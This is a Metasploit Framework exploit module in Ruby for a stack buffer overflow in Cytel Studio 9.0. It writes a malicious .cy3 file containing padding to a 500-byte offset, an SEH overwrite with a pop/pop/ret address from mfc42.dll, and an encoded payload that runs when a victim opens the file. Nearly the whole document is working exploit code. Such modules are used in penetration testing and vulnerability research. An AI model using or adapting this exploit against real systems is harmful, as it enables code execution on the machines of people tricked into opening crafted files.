Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow

##
# $Id: cytel_studio_cy3.rb 14041 2011-10-24 01:39:11Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Cytel Studio 9.0 (CY3 File) Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack based buffer overflow found
    in Cytel Studio <= 9.0. The overflow is triggered during the
    copying of strings to a stack buffer of 256 bytes.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Luigi Auriemma',  # Initial Discovery/PoC
     'James Fitts'      # Metasploit Module (Thx Juan & Jeff)
    ],
   'Version'        => '$Revision: 14041 $',
   'References'     =>
    [
     [ 'OSVDB', '75991' ],
     [ 'BID', '49924' ],
     [ 'URL', 'http://aluigi.altervista.org/adv/cytel_1-adv.txt' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space' => 1000,
     'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20",
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [
      # File version 8.0.0.1
      'Cytel Studio 9.0',
      {
       'Ret' => 0x73e58e01, # p/p/r mfc42.dll
       'Offset' => 500
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Oct 02 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.cy3']),
   ], self.class)
 end

 def exploit
  cy3 =  "90\n150 1\n1\test\n"
  cy3 << rand_text_alpha_upper(target['Offset'])
  cy3 << generate_seh_record(target.ret)
  cy3 << rand_text_alpha_upper(8)
  cy3 << payload.encoded
  cy3 << rand_text_alpha_upper(5000 - cy3.length)

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(cy3)
 end
end

=begin
During testing, the offset for Jeff was different. But the three of us have NOT
been unable to reproduce the same problem.  All this was tested on:
XP SP3, Vista SP0/SP1, Win 7
=end